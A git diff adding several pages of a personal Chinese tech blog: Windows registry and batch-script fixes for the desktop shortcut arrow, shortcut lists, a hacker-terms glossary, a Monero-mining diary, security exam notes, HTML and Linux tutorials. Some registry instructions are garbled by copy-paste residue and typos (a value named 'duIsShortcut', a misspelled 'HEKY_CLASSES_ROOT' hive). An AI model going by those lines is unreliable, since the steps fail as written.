diff --git a/2020/10/21/error/index.html b/2020/10/21/error/index.html new file mode 100644 index 000000000..f0809b7a0 --- /dev/null +++ b/2020/10/21/error/index.html @@ -0,0 +1,213 @@ +解决Win10桌面图标小箭头问题 | h4m5t's Blog + + + + + + + + + + + + + + +

解决Win10桌面图标小箭头问题

桌面的图标左下角总是有个小箭头,看着烦,想去掉,用网上的方法,删去了几个注册表的值。

+

果然,注册表还是不能随便删的,结果任务栏的程序却无法正常打开。

+
+ +

解决方法:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
方法一:
win+R,输入regedit,分别在
HKEY_CLASSES_ROOT\piffile
HKEY_CLASSES_ROOT\InternetShortcut
HKEY_CLASSES_ROOT\lnkfile
中新建bai→字符串值,命名为duIsShortcut
方法二:
taskkill /f /im explorer.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "C:\Windows\system32\imageres.dll,154" /t reg_sz /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "C:\Windows\system32\imageres.dll,154" /t reg_sz /f
reg add "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /t reg_sz /f
reg add "HEKY_CLASSES_ROOT\piffile" /v IsShortcut /t reg_sz /f
start explorer
保存为.bat格式双击运行。
+ + + +

去除桌面图标小箭头:

+
1
2
3
4
5
6
7
8
如果还需要除去小箭头用下面的命令,用这个方法就可以避免错误了
新建一个文本文件,粘贴后另存为.bat文件,然后以管理员身份打开
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
taskkill /f /im explorer.exe
attrib -s -r -h "%userprofile%\AppData\Local\iconcache.db"
del "%userprofile%\AppData\Local\iconcache.db" /f /q
start explorer
pause
+ + + +

温馨提示:注册表很重要,不要随便删除哦!

+

2022/5/22 更新

+

最近更新了windows11系统,小箭头又出来了,百度上的方法都不管用,最后靠微软官方解决的。方法如下:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1.右键“开始”菜单,找到“运行”,输入命令 regedit ,打开“注册表编辑器”

2.在“注册表编辑器”左侧窗口,按照以下路径找到对应项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons

如果在 Explorer 下面没有 Shell Icons 这一项,可以直接在 Explorer 项上点击鼠标右键,选择“新建”→“项”,项的名字定为 Shell Icons 。

3.选中“Shell Icons”,在右侧窗口中点击鼠标右键,选择“新建”→“字符串值”,将“字符串”的名字设置为“29”。

4.双击新建的字符串“29”,在“数值数据”中输入“C:\WINDOWS\system32\imageres.dll,197”。

如果你不确定系统安装在哪个硬盘分区,也可以输入“%systemroot%\system32\imageres.dll,197”,以 %systemroot% 的变量路径自动定位系统位置。

5.关闭注册表编辑器,重新启动电脑即可
+ +
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2020/10/21/error/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2020/10/24/git/index.html b/2020/10/24/git/index.html new file mode 100644 index 000000000..74a73487a --- /dev/null +++ b/2020/10/24/git/index.html @@ -0,0 +1,200 @@ +Git | h4m5t's Blog + + + + + + + + + + + + + + + +

Git

1.git clone

将远程仓库克隆到本地,包括此仓库的版本变化信息。

+

不需要进行git init操作

+

方法:https或SSH

+

2.git pull

拉取远程更新到本地仓库,相当于从远程仓库或许最新版,然后与本地的分支合并。

+

git pull = git fetch + git merge

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2020/10/24/git/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2020/10/25/Chrome/index.html b/2020/10/25/Chrome/index.html new file mode 100644 index 000000000..ea0882462 --- /dev/null +++ b/2020/10/25/Chrome/index.html @@ -0,0 +1,239 @@ +Chrome快捷键 | h4m5t's Blog + + + + + + + + + + + + + +

Chrome快捷键

Chorme快捷键

    +
  • 新建标签页:Ctrl + T

    +
  • +
  • 重新打开关闭的标签页:Ctrl + Shift + T

    +
  • +
  • 新建窗口: Ctrl + N

    +
  • +
  • 新建无痕窗口:Shift + Ctrl + N

    +
  • +
  • 打开 Home 页面:Alt + Home

    +
  • +
  • 同个标签前进 / 后退:Alt + Right / Alt + Left

    +
  • +
  • 切换标签页:Ctrl + Tab

    +
  • +
  • 关闭标签页:Ctrl + W

    +
  • +
  • 关闭窗口:Alt + F4 / Ctrl + Shift + W

    +
    +
  • +
  • 下载内容:Ctrl + J

    +
  • +
  • 历史记录:Ctrl + H

    +
  • +
  • 任务管理器:Shift + Esc

    +
  • +
  • 清除历史记录:Ctrl + Shift + Del

    +
  • +
  • 跳转到地址栏:Ctrl + L

    +
    +
  • +
  • 先下翻页:PgUp

    +
  • +
  • 向上翻页:PgDn

    +
  • +
  • 滑动到最顶部:Home

    +
  • +
  • 滑动到最底部:End

    +
  • +
  • 调整页面字体大小:Ctrl + ‘’+’’ / Ctrl + ‘’-‘’

    +
  • +
  • 页面字体恢复默认:Ctrl + 0

    +
  • +
  • 全屏切换:F11

    +
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2020/10/25/Chrome/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2020/10/25/Win10/index.html b/2020/10/25/Win10/index.html new file mode 100644 index 000000000..0aeef10e7 --- /dev/null +++ b/2020/10/25/Win10/index.html @@ -0,0 +1,223 @@ +Windows快捷键 | h4m5t's Blog + + + + + + + + + + + + + +

Windows快捷键

win10快捷键

    +
  • win+E 打开我的电脑

    +
  • +
  • win+D 打开桌面

    +
  • +
  • win+S/Q 搜索

    +
  • +
  • win+M 全部窗口最小化

    +
  • +
  • win+V 打开剪切板

    +
  • +
  • win+W 打开白板

    +
  • +
  • win+Shift+S 截屏

    +
  • +
  • win+Tab 新建电脑桌面

    +
  • +
  • Win+Ctrl+D 新建电脑桌面

    +
  • +
  • Win+Ctrl+(←/→) 虚拟桌面间切换

    +
  • +
  • win+(↓\↑) 窗口大小

    +
  • +
  • win+I 打开设置

    +
  • +
  • Win+数字键:打开任务栏上第n个程序

    +
  • +
  • Alt+Tab:快速切换窗口

    +
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2020/10/25/Win10/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2020/10/27/hack/index.html b/2020/10/27/hack/index.html new file mode 100644 index 000000000..b05f2179e --- /dev/null +++ b/2020/10/27/hack/index.html @@ -0,0 +1,204 @@ +黑客术语解释 | h4m5t's Blog + + + + + + + + + + + + + +

黑客术语解释

黑客术语

+

解释一下常见的术语

+
+
    +
  • 肉鸡:僵尸主机(英语:Zombie computer)是指接入互联网受恶意软件感染后,受控于黑客的电脑。其可以随时按照黑客的命令与控制指令展开拒绝服务(DoS)攻击或发送垃圾信息。通常,一部被侵占的电脑只是僵尸网络里面众多中的一个,会被用来去运行一连串的或远程控制的恶意程序。一般电脑的拥有者都没有察觉到自己的系统已经被“僵尸化”,就仿佛是没有自主意识的僵尸一般。
  • +
  • Rootkit:Rootkit是指其主要功能为:隐藏其他程序进程的软件,可能是一个或一个以上的软件组合;广义而言,Rootkit也可视为一项技术。在今天,Rootkit一词更多地是指被作为驱动程序,加载到操作系统内核中的恶意软件。因为其代码运行在特权模式之下,从而能造成意料之外的危险。
  • +
  • IPC$:是共享 “ 命名管道 “ 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
  • +
  • 加壳:在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是隐藏程序真正的OEP。大多数病毒就是基于此原理。
  • +
  • 花指令:花指令是企图隐藏掉不想被逆向工程的代码块(或其它功能)的一种方法, 在真实代码中插入一些垃圾代码的同时还保证原有程序的正确执行, 而程序无法很好地反编译, 难以理解程序内容, 达到混淆视听的效果.
  • +
  • 蜜罐:专指用来侦测或抵御未经授权操作或者是黑客攻击的陷阱,蜜罐通常伪装成看似有利用价值的网络、资料、电脑系统,并故意设置了bug,用来吸引黑客攻击。由于蜜罐事实上并未对网络提供任何有价值的服务,所以任何对蜜罐的尝试都是可疑的。蜜罐中还可能装有监控软件,用以监控黑客入侵后的举动。而更常见的用法是用来吸引网络的计算机病毒入侵,从而获得病毒样本用于研究或破解的计算机,杀毒软件公司会利用这些计算机来监视或获得计算机网络中的病毒样本。
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2020/10/27/hack/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2020/11/03/dig/index.html b/2020/11/03/dig/index.html new file mode 100644 index 000000000..d6d1bca25 --- /dev/null +++ b/2020/11/03/dig/index.html @@ -0,0 +1,217 @@ +记第一次挖矿 | h4m5t's Blog + + + + + + + + + + + + + +

记第一次挖矿

前言

很早就听说过比特币,比特币作为一种全新理念的数字货币,在互联网上可谓风起云涌。自2009年始发以来,比特币价格飙升。

+

在我写下这篇博文的时候,比特币早已超过一万美元了。

+

与日常接触的货币不同,比特币的有限的,在它诞生的那刻就已经决定了。

+
+

区块回报每产出21万个区块减半一次,周期大约为4年,最近一次减半在2020年5月12日28,而此种收敛等比数列的和必然是有限的,到2140年时,将不再有新的比特币产生,最终流通中的比特币将总是略低于2100万个。2019年5月12日时,比特币总存量约17,695,512个,实际可流通的量还会因为私钥丢失等因素更加减少。

+
+

更有趣的是, 比特币的创始人到目前为止还是世界之谜, 真是太”低调”了.

+

当然,用PC来挖比特币是一件很不现实的事情,于是我转向了另一个币种:

+

Monero,俗称门罗币.它是一个很出名的”匿名币”

+

挖矿

首先,需要有一个自己的”钱包”.

推荐使用官网提供的GUI,当然也可以找一些轻量级的”网页钱包”.

+

系统已经默认生成了以4开头的收款地址,可以将它理解为”银行卡卡号”

+

找到矿池

先假设,你是一个淘金者,你想挖金子,可不是想挖就能挖,你肯定先找一个挖金公司,然后打工,付出劳动,获得回报.同理,我们要先找到一个矿池.

+

矿池很多,我找了一个国内比较出名:猫池.https://c3pool.com

+

设置挖矿程序

挖金子还需要什么呢,哦,对了!我们还缺一把铲子!

+

我这里以xmrig作为挖矿程序.https://github.com/xmrig/xmrig

+

把相应文件下载到服务器,做好配置文件(与选择的矿池有关),准备开挖!

+

在矿池页面可以看到,这个服务器的效率是很低的

+

于是我尝试在PC上挖矿.效率能达到服务器的十几倍.

+

经过连续几个小时的”CPU高强度作业”,终于有了一些收获.

+

预估了一下,24小时不间断连续挖一个月,大概能挖到2$的币.

+

感想

在互联网世界,还有很多东西是可以探索的.

+

从第一次上网,第一次写出hello,world!第一次看Youtube,到”第一次挖矿”

+

很多东西,了解多一点,不是坏事.

+

但真正的挖矿,还是交给”真正有实力的矿工”去做吧.

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2020/11/03/dig/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2020/12/17/security/index.html b/2020/12/17/security/index.html new file mode 100644 index 000000000..396d25e46 --- /dev/null +++ b/2020/12/17/security/index.html @@ -0,0 +1,198 @@ +云安全 | h4m5t's Blog + + + + + + + + + + + + + + + +

云安全

阿里云安全助理工程师(ACA)

斥资600大洋,学习了阿里云的云安全ACA,50多个课程都认真的听了一遍。感觉老师讲的不错,不是“只会读PPT”的那种。对阿里巴巴的云管理、云使用、云安全、云生态,有点一些了解。
当然,考试很简单。也算是考取的第一个专业证书吧,纪念一下。

+image-20201222211323725 + +
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2020/12/17/security/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2020/12/21/security/index.html b/2020/12/21/security/index.html new file mode 100644 index 000000000..2e0c3efd5 --- /dev/null +++ b/2020/12/21/security/index.html @@ -0,0 +1,245 @@ +信息安全 | h4m5t's Blog + + + + + + + + + + + + + +

信息安全

+

最近复习信息系统安全,以及备考NISP,做一些简单的知识点总结。

+
+

第一章

定义:信息安全一般指信息系统(包括硬件、软件、数据、人、物理环境及其基础设施)受到保护,不受偶然的或者恶意原因的影响而遭到破坏、更改、泄露,系统连续可靠正常地运行,信息服务不中断,最终实现业务连续性。信息安全的根本目的是使信息不受内部、外部、自然等因素的威胁

+

计算机系统安全:为数据处理系统建立和采用的技术和 管理的安全保护,保护计算机硬件、软件和数 据不因偶然和恶意的原因遭到破坏、更改和泄露。

+

基本属性:机密性、完整性、可用性

+

扩展属性:真实性、不可否认性、可控性

+

信息安全保障:采用技术、管理、工程等综合手段,保护信息和信息系统,使其能够安全运行的防护性行为。

+

APT攻击:即高级可持续威胁攻击,也称为定向威胁攻击,指某组织对特定对象展开的持续有效的攻击活动。这种攻击活动具有极强的隐蔽性和针对性,通常会运用受感染的各种介质、供应链和社会工程学等多种手段实施先进的、持久的且有效的威胁和攻击。

+

image-20201222211631762

+

第二章

PKI公钥基础设施是一个包括硬件、软件、人员、策略和规程的集合,用来实现基于公钥密码体制的密钥和证书的产生、管理、存储、分发和撤销等功能。PKI体系是计算机软硬件、权威机构及应用系统的结合。它为实施电子商务、电子政务、办公自动化等提供了基本的安全服务,从而使那些彼此不认识或距离很远的用户能通过信任链安全地交流。

+

访问控制主要包括主体、客体和控制策略三个要素:

+

1.主体是指提出访问资源具体请求的实体

+

2.客体是指被访问资源的实体

+

3.控制策略是指主体对客体的相关访问规则的集合

+image-20201224184633144 + +

数字证书:

+

由第三方可信机构(一般是证书服务器)颁发的数字证书,可以证明身份的可信度。

+

第三章

网络嗅探是通过截获、分析网络中传输的数据而获取有用信息的行为。

+

网络钓鱼是指攻击者利用伪造的网站或欺骗性的电子邮件进行的网络诈骗活动。

+

VPN:在公用网络上建立专用网络,进行加密通讯。

+

防火墙:计算机网络中所说的防火墙,是指设置在不同网络(如:可信任的内网和外网或专用网与不可信的共用网)之间的一系列包括软硬件;在内的部件组合。它在内网和外网之间构建一道保护屏障,网络内部和外部之间的所有数据流必须经过防火墙,只有符合安全标准的数据流才能通过防火墙。

+

恶意代码是指故意编制或设置的、对网络或系统会产生威胁和潜在威胁的计算机代码。主要包括病毒、木马和蠕虫等。

+

端口扫描:对计算机端口发送信息,然后根据返回端口状态来分析目标计算机的端口是否打开或者可用,为下一步攻击入侵做好准备。

+

邮件通信:

+image-20201226152838072 + + + +

B/S和C/S架构:

+

B/S结构即浏览器和服务器结构。它是随着Internet技术的兴起,对C/S结构的一种变化或者改进的结构。在这种结构下,用户工作界面是通过WWW浏览器来实现,极少部分事务逻辑在前端(Browser)实现,但是主要事务逻辑在服务器端(Server)实现,形成所谓三层3-tier结构。

+

C/S 结构,即大家熟知的客户机和服务器结构。它是软件系统体系结构,通过它可以充分利用两端硬件环境的优势,将任务合理分配到Client端和Server端来实现,降低了系统的通讯开销。

+

说白了,BS架构就是浏览器应用,CS架构就是客户端应用,当然应用需要服务器配合,像腾讯就是以C/S结构起家的,其旗下的QQ这一软件就是典型的C/S结构应用,像Facebook就是以B/S为结构的。B/S结构的好处就是方便,不跨平台性好,真正的实现了一次开发,处处运行。C/S结构以其稳定安全著称,降低了通讯代价,但是实现起来麻烦,需要开发服务器和客户端两套系统并且在不同的平台移植起来非常麻烦。所以现在大多是以C/S模式来开发。

+

移动终端面临的威胁:

+

1.伪基站攻击。以自己为中心冒充基站,向周围手机发送垃圾短信,并且短信中包含恶意链接的情况。
2.二维码扫描。二维码扫描可能带来如下风险:手机病毒、木马程序。

+

容灾:容灾系统是指在相隔较远的异地,建立两套或多套功能相同的IT系统,互相之间可以进行健康状态监视和功能切换,当一处系统因意外(如火灾、地震等)停止工作时,整个应用系统可以切换到另一处,使得该系统功能可以继续正常工作。容灾技术是系统的高可用性技术的一个组成部分,容灾系统更加强调处理外界环境对系统的影响,特别是灾难性事件对整个IT节点的影响,提供节点级别的系统恢复功能。

+

灾备:灾难备援,它是指利用科学的技术手段和方法,提前建立系统化的数据应急方式,以应对灾难的发生。其内容包括数据备份和系统备份,业务连续规划、人员架构、通信保障、危机公关,灾难恢复规划、灾难恢复预案、业务恢复预案、紧急事件响应、第三方合作机构和供应链危机管理等等。

+

实际工作中的备份策略:

+
    +
  • 执行完全备份
  • +
  • 经常进行增量备份
  • +
  • 定期执行差异备份
  • +
+

操作系统的功能:

+

1、进程管理。主要bai是对处理机du进行管理。

+

2、存储管理。主zhi要是对内存的dao分配、保护和扩充。

+

3、设备管理。对所有输人、输出设备的管理。

+

4、文件管理。主要涉及文件的逻辑组织和物理组织,目录的结构和管理。

+

5、作业管理。为用户提供一个友好的环境,方便用户组织自己的工作流程。

+

信息安全问题产生的根源:信息系统的复杂性会造成系统本身的安全缺陷。

+

信息安全应急响应管理过程:1.准备 2.检测 3.遏制 4.根除 5.恢复 6.跟踪

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2020/12/21/security/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git "a/2021/01/20/\345\211\215\347\253\257html/index.html" "b/2021/01/20/\345\211\215\347\253\257html/index.html" new file mode 100644 index 000000000..92206230e --- /dev/null +++ "b/2021/01/20/\345\211\215\347\253\257html/index.html" @@ -0,0 +1,797 @@ +记录前端学习--HTML | h4m5t's Blog + + + + + + + + + + + + + + +

记录前端学习--HTML

学习路线

先学习基础部分,即web三件套

+
    +
  • HTML负责结构,网页想要表达的内容由html书写。
  • +
  • CSS负责样式,网页的美与丑由它来控制。
  • +
  • JS负责交互,用户和网页产生的互动由它来控制。
  • +
+

然后学习框架,即“大前端开发”

+
    +
  • vue
  • +
  • React
  • +
  • angular
  • +
+

另外学习其他知识

+
    +
  • 浏览器
  • +
  • 网络
  • +
  • webpack
  • +
+

HTML

+

超文本标记语言(HyperText Markup Language,简称:HTML)是一种用于创建网页的标准标记语言。HTML是一种基础技术,常与CSS、JavaScript一起被众多网站用于设计网页、网页应用程序以及移动应用程序的用户界面。网页浏览器可以读取HTML文件,并将其渲染成可视化网页。HTML描述了一个网站的结构语义随着线索的呈现,使之成为一种标记语言而非编程语言。

+
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!--
* @Author: h4m5t
* @Date: 2021-01-21 10:11:09
* @LastEditTime: 2021-01-21 20:23:30
-->
<!DOCTYPE html>
<html>
<head>
<title>第一个程序</title>
<!--编码以及屏幕自适应-->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<meta name="keywords" content="测试">
<!--网页自动跳转-->
<!--<meta http-equiv="refresh" content="3;https://dydhzj.xyz">-->
</head>
<body>
<img src="https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png" alt="tupian">
<!-- 表示在新的标签页 打开页面-->
<a href="https://dydhzj.xyz" target="_blank">这是我的博客链接</a>
</body>
</html>
+ +

语义与呈现分离

+

是一句常见的熟语、一种设计哲学,同时也是在多种出版技术纪律中应用的一种方法学,涉及到信息检索、模板处理、网页设计、网页程序设计、文字处理、桌面出版、模型驱动开发等出版领域。其为关注点分离这个更加宽泛的哲学的特例。一篇文档的实际内容和意义,与这篇文档呈现给读者的方式,是相互独立的。

+
    +
  • HTML 负责内容结构和含义,内容呈现交给 CSS
  • +
+

HTML语义化的优点

+
    +
  1. 便于浏览器解析器解析
  2. +
  3. 便于搜索引擎解析
  4. +
  5. 在没有css的情况下,也以一种文档格式显式,并且是容易阅读的
  6. +
  7. 结构良好,更容易将网站分块;便于阅读,开发和后期维护
  8. +
+

1. 文档与元数据元素

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
元素说明类型
base相对 URL 基础元数据
bodyHTML 文档内容
DOCTYPEHTML 开始
headHTML 文档元数据
htmlHTML 文档 html 部分
link外部链接的关系元数据
meta文档信息元数据
noscript禁用脚本元数据、短语
script脚本元数据、短语
styleCSS 样式元数据
title文档标题元数据
+

2. 文本元素

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
元素说明类型
a超链接短语、流
abbr缩略语短语
b非强调标记文字短语
br换行短语
cite其他作品标题短语
code代码片段短语
del文字删除线短语、流
dfn术语定义短语
em强调标记短语
i与周边不同的文字短语
ins加入文档的文字短语、流
kbd用户输入的内容短语
mark标记短语
q引用他处的内容短语
rpruby 标记括号短语
rtruby 标记注音符号短语
ruby位于表意文字上方或者右方的注音符号短语
s表示内容不再准确短语
samp计算机输出的内容短语
small小号字体短语
span同样元素短语
strong重要内容短语
sub下标短语
sup上标短语
time时间短语
u非强调标记文字短语
var计算机中的变量短语
wbr安全换行的地方短语
+

3. 内容

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
元素说明类型
blockquote引用的大段内容
dddl 元素中,表示定义
div通用元素,与 span 对应
dl术语定义的说明列表
dtdl 元素中,表示术语
figcaptionfigure 元素的标题
figure图片
hr段落级别的主题转换
liul、ol、menu 元素中,表示列表项
ol有序列表
p段落
pre格式应被保留的内容
ul无序列表
+

4. 划分内容

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
元素说明类型
address文档或者 article 的联系信息
article作品信息
aside周边牵涉内容
details区域,展开获取细节
footer尾部
h1-h6标题
header首部
hgroup一组标题组织,形成目录
nav导航元素
section部分流
summarydetails 元素中,表示该元素标题
+

5. 制表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
元素说明类型
caption表格标题
col
colgroup一组列
table表格
tbody表格主体
td单元格
tfoot表脚
th表头表脚单元格
thead表头
tr一行单元格
+

6. 表单

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
元素说明类型
button按钮短语
datalist建议列表
fieldset一组表单元素
form表单
input输入短语
keygen生成公私钥短语
label表单说明标签短语
legendfieldset 元素说明标签
optgroup一组相关的 option 元素
option用户选择的可选项
output计算结果短语
select用户选择固定项短语
textarea多行输入短语
+

7. 嵌入内容

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
元素说明类型
area客户端分区响应区域短语
audio音频
canvas画布短语、流
embed用插件嵌入内容短语
iframe嵌入另一个文档短语
img图片短语
map客户端分区响应短语、流
meter许可值范围背景中的图形表示短语
object生成上下文与客户端分区响应图短语、流
param通过 obj 元素传给插件的参数
progress进度短语
source媒体资源
svg结构化矢量内容
track媒体附加轨道(如字幕)
video视频
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/01/20/%E5%89%8D%E7%AB%AFhtml/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git a/2021/01/21/CTF/index.html b/2021/01/21/CTF/index.html new file mode 100644 index 000000000..48a5c5071 --- /dev/null +++ b/2021/01/21/CTF/index.html @@ -0,0 +1,193 @@ +攻防世界 | h4m5t's Blog + + + + + + + + + + + + + +

攻防世界

文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/01/21/CTF/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2021/01/21/linux/index.html b/2021/01/21/linux/index.html new file mode 100644 index 000000000..de3167031 --- /dev/null +++ b/2021/01/21/linux/index.html @@ -0,0 +1,406 @@ +常用的linux命令 | h4m5t's Blog + + + + + + + + + + + + + +

常用的linux命令

常用命令

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
序号命令对应英文作用
01lslist查看当前文件夹下的内容
02pwdprint work directory查看当前所在文件夹
03cd[目录名]changge directory切换文件夹
04touch[文件名]touch如果文件不存在,新建文件
05mkdir[目录名]make directory创建目录
06rm[文件名]remove删除指定文件
07clearclear清屏
+

touch

    +
  • 创建文件或修改文件时间
    如果文件 不存在,可以创建一个空白文件
    如果文件 已经存在,可以修改文件的末次修改日期
  • +
+

mkdir

    +
  • 创建一个新的目录
  • +
+ + + + + + + + + + + +
选项含义
-p可以递归创建目录
+

新建目录的名称 不能与当前目录中 已有的目录或文件 同名

+

rm

    +
  • 删除文件或目录
    使用 rm 命令要小心,因为文件删除后不能恢复
  • +
+ + + + + + + + + + + + + + + +
选项含义
-f强制删除,忽略不存在的文件,无需提示
-r递归地删除目录下的内容,删除文件夹 时必须加此参数
+

拷贝和移动文件

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
序号命令对应英文作用
01tree [目录名]tree以树状图列出文件目录结构
02cp 源文件目标文件copy复制文件或者目录
03mv 源文件 目标文件move移动文件或者目录/文件或者目录重命名
+

tree

    +
  • tree 命令可以以树状图列出文件目录结构
  • +
+ + + + + + + + + + + +
选项含义
-d只显示目录
+

cp

    +
  • cp 命令的功能是将给出的 文件 或 目录 复制到另一个 文件 或 目录 中,相当DOS 下的 copy命令
  • +
+ + + + + + + + + + + + + + + +
选 项含义
-i覆盖文件前提示
-r若给出的源文件是目录文件,则 cp 将递归复制该目录下的所有子目录和文件,目标文件必
+

须为一个目录名

+

mv

    +
  • mv 命令可以用来 移动 文件 或 目录,也可以给 文件或目录重命名
  • +
+ + + + + + + + + + + +
选项含义
-i覆盖文件前提示
+

查看文件内容

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
序 号命令对应英文作用
01cat 文件名concatenate查看文件内容、创建文件、文件合并、追加文件内容等功能
02more 文件名more分屏显示文件内容
03grep 搜索文本 文件名grep搜索文本文件内容
+

cat

cat 命令可以用来 查看文件内容、创建文件、文件合并、追加文件内容 等功能
cat 会一次显示所有的内容,适合 查看内容较少 的文本文件

+ + + + + + + + + + + + + + + +
选项含义
-b对非空输出行编号
-n对输出的所有行编号
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/01/21/linux/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git "a/2021/01/26/Web\345\256\211\345\205\250/index.html" "b/2021/01/26/Web\345\256\211\345\205\250/index.html" new file mode 100644 index 000000000..6a83d87a6 --- /dev/null +++ "b/2021/01/26/Web\345\256\211\345\205\250/index.html" @@ -0,0 +1,309 @@ +web安全学习路线 | h4m5t's Blog + + + + + + + + + + + + + + +

web安全学习路线

+

参加了字节跳动安全与风控训练营,根据官网安全综述文档摘录的安全学习路线

+
+

字节跳动官方文档

+

web安全

    +
  1. 前端安全

    +
      +
    • XSS
    • +
    • 点击劫持
    • +
    • 浏览器、webview安全
    • +
    +
  2. +
  3. 接口安全

    +
      +
    • 接口请求
        +
      • 错误的Method
      • +
      • 协议:
          +
        • HTTP明文传输
        • +
        • 脆弱的加密方法
        • +
        • 低版本加密协议
        • +
        • //的滥用
        • +
        • 协议降级
        • +
        +
      • +
      • 域名
          +
        • 域名接管
        • +
        • 域传送
        • +
        • robote.txt
        • +
        • 社工钓鱼
        • +
        +
      • +
